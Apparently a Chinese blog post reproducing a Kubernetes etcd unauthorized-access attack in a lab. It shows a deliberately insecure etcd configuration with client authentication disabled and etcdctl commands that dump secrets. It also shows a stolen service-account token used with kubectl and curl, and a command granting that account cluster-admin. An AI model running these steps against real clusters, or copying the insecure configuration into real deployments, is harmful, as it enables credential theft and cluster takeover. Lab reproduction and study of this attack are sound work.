【云安全】云原生-K8Setcd未授权访问
- IT业界
- 2025-09-06 10:24:01

什么是etcd?
etcd 是一个开源的分布式键值存储系统,主要用于存储和管理配置信息、状态数据以及服务发现信息。它采用 Raft 共识算法,确保数据的一致性和高可用性,能够在多个节点上运行,保证在部分节点故障时仍能继续提供服务。
在 Kubernetes 中,etcd 扮演着关键角色,用于存储集群的所有资源数据(如 Pod、Service 和 Deployment 的信息)。Kubernetes 通过与 etcd 的交互,获取集群的当前状态并确保集群的一致性。
etcd 还提供了“watch”功能,允许用户在键值对发生变化时得到通知,适用于动态配置更新和分布式锁等场景。它是保证分布式系统一致性和高可用性的核心技术之一。
简单理解:etcd 用于存储集群的关键数据,包括节点信息、认证凭证、API 令牌(token)、证书等。它保存了集群的所有配置和状态数据,确保集群的一致性和可靠性。
在 Kubernetes 中,etcd 使用以下几个端口:
客户端端口(默认端口: 2379):
用于 etcd 集群与 Kubernetes 控制平面之间的通信。Kubernetes 控制平面(如 API 服务器)通过这个端口与 etcd 交互,读取和写入集群状态。
集群通信端口(默认端口: 2380):
用于 etcd 集群节点之间的内部通信,确保集群中的各个 etcd 节点之间的数据同步和一致性。这个端口用于 Raft 协议的数据同步。
这些端口通常需要被保护和访问控制,确保安全性。默认情况下,etcd 也会使用 TLS 加密这些端口的通信,以提高安全性。
etcd未授权访问1、如果管理员配置不当,那么攻击者就可以从etcd中获取secrets&token等关键信息,进而通过kubectl创建恶意pod从而接管集群。
2、如果存在SSRF漏洞,配合配置不当,攻击者访问到etcd=接管集群。
3、位于K8s master node 对内暴露2379端口,本地可免认证访问,其他地址要带--endpoint参数和cert进行认证。
v3版本漏洞复现我这里仅复现v3版本,v2版本较老,目前基本没有了
不安全的 etcd.yaml 配置如下:
apiVersion: v1 kind: Pod metadata: annotations: kubeadm.kubernetes.io/etcd.advertise-client-urls: http://192.168.48.142:2379 #改成http creationTimestamp: null labels: component: etcd tier: control-plane name: etcd namespace: kube-system spec: containers: - command: - etcd - --advertise-client-urls=http://192.168.48.142:2379 #改成http - --cert-file=/etc/kubernetes/pki/etcd/server.crt - --client-cert-auth=false #注释或修改成false - --data-dir=/var/lib/etcd - --initial-advertise-peer-urls= 192.168.48.142:2380 - --initial-cluster=master-1= 192.168.48.142:2380 - --key-file=/etc/kubernetes/pki/etcd/server.key - --listen-client-urls=http://127.0.0.1:2379,http://192.168.48.142:2379 #改成http - --listen-metrics-urls=http://127.0.0.1:2381 - --listen-peer-urls= 192.168.48.142:2380 - --name=master-1 - --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt - --peer-client-cert-auth=true - --peer-key-file=/etc/kubernetes/pki/etcd/peer.key - --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt - --snapshot-count=10000 #- --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt #注释 image: registry.aliyuncs /google_containers/etcd:3.5.1-0 imagePullPolicy: IfNotPresent livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /health port: 2381 scheme: HTTP initialDelaySeconds: 10 periodSeconds: 10 timeoutSeconds: 15 name: etcd resources: requests: cpu: 100m memory: 100Mi startupProbe: failureThreshold: 24 httpGet: host: 127.0.0.1 path: /health port: 2381 scheme: HTTP initialDelaySeconds: 10 periodSeconds: 10 timeoutSeconds: 15 volumeMounts: - mountPath: /var/lib/etcd name: etcd-data - mountPath: /etc/kubernetes/pki/etcd name: etcd-certs hostNetwork: true priorityClassName: system-node-critical securityContext: seccompProfile: type: RuntimeDefault volumes: - hostPath: path: /etc/kubernetes/pki/etcd type: DirectoryOrCreate name: etcd-certs - hostPath: path: /var/lib/etcd type: DirectoryOrCreate name: etcd-data status: {}对应 api server 配置如下:
检查etcd服务是否正常
#查看2379端口是否处于监听状态 netstat -lnpt | grep 2379 #在K8s集群初始化后,etcd默认就以pod的形式存在,可以执行如下命令进行查看 kubectl get pod -A | grep etcd(1)攻击者发现如下页面,由于2379端口默认不对外,且为tls认证,所以这种页面基本就是未授权访问了
(2)使用etcdctl工具进行测试和信息收集
#验证 etcdctl --endpoints=192.168.48.142:2379 get / --prefix etcdctl --endpoints=192.168.48.142:2379 put /qiu/hui "attack" etcdctl --endpoints=192.168.48.142:2379 get /qiu/hui安装etcd客户端连接工具etcdctl Releases · etcd-io/etcd · GitHub
(3)由于Service Account 关联了一套凭证,存储在 Secret中。因此攻击者可以过滤Secret,查找具有高权限的Secret,然后获得其token接管K8s集群
etcdctl --endpoints=192.168.48.142:2379 get / --prefix --keys-only | findstr /C:"/secrets/" etcdctl --endpoints=192.168.48.142:2379 get / --prefix --keys-only | findstr /C:"/secrets/kube-system/clusterrole" etcdctl --endpoints=192.168.48.142:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-mr6x7 kubectl --insecure-skip-tls-verify -s 192.168.48.142:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IlpJRnlaWGxOalUzT3JXa0cwaHVsck05eXFDeDRlU3d6NVR3ckdLdUJrLWcifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW1yNng3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNjgxZDQwYi1lNzRkLTQ3YjMtYTY5NC1hNWNjZDVhMTVkYzciLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Ox4bHyR6IpRnHW_nw3dc8VnhWKhApBY0Q6dHSbtehe3taad6KskZk1qgrLlDHxhiwP-dtDCPNCzCNxdzBGFTICwTIsG33y3w8rc3-Uwk4ZzEisD9Ypt8136KvmBe2ozQREvQaxEsZFky1mW_6pMP0FjChrRQa3LQMV08ydDkx4ANYS4gc1NdqBcvLPC30gQGTftBlIFjmHZ0jIOW5Y5UkhaW1InMtVhyM2U4U_0xetSo6IBYa45sdppDLD5wa3FMxIxJxFVNav4gM6zB2K3uOm8v_7exVVJ7M2K4tMEDvrQCgJ7Fv0Q1fxu-PUZuDoOAM8hyDjAzpqmxW0aCmBmJ5w" -n kube-system get pods #curl验证 curl --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IlpJRnlaWGxOalUzT3JXa0cwaHVsck05eXFDeDRlU3d6NVR3ckdLdUJrLWcifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW1yNng3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNjgxZDQwYi1lNzRkLTQ3YjMtYTY5NC1hNWNjZDVhMTVkYzciLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Ox4bHyR6IpRnHW_nw3dc8VnhWKhApBY0Q6dHSbtehe3taad6KskZk1qgrLlDHxhiwP-dtDCPNCzCNxdzBGFTICwTIsG33y3w8rc3-Uwk4ZzEisD9Ypt8136KvmBe2ozQREvQaxEsZFky1mW_6pMP0FjChrRQa3LQMV08ydDkx4ANYS4gc1NdqBcvLPC30gQGTftBlIFjmHZ0jIOW5Y5UkhaW1InMtVhyM2U4U_0xetSo6IBYa45sdppDLD5wa3FMxIxJxFVNav4gM6zB2K3uOm8v_7exVVJ7M2K4tMEDvrQCgJ7Fv0Q1fxu-PUZuDoOAM8hyDjAzpqmxW0aCmBmJ5w" -X GET 192.168.48.142:6443/api -k(4)如果存在dashboard,也可以使用token登录,从而管理K8s
问题解决复现时可能会遇到以下问题:
这表明 system:serviceaccount:kube-system:clusterrole-aggregation-controller 服务账户没有权限列出 kube-system 命名空间中的 pods 资源。可能的原因是该服务账户缺少适当的角色和权限。通过以下命令授予权限:
kubectl create clusterrolebinding clusterrole-aggregation-controller-binding \ --clusterrole=cluster-admin \ --serviceaccount=kube-system:clusterrole-aggregation-controller这将赋予 system:serviceaccount:kube-system:clusterrole-aggregation-controller 服务账户集群管理员权限,从而允许它执行各种操作,包括列出 Pods。
【云安全】云原生-K8Setcd未授权访问由讯客互联IT业界栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“【云安全】云原生-K8Setcd未授权访问”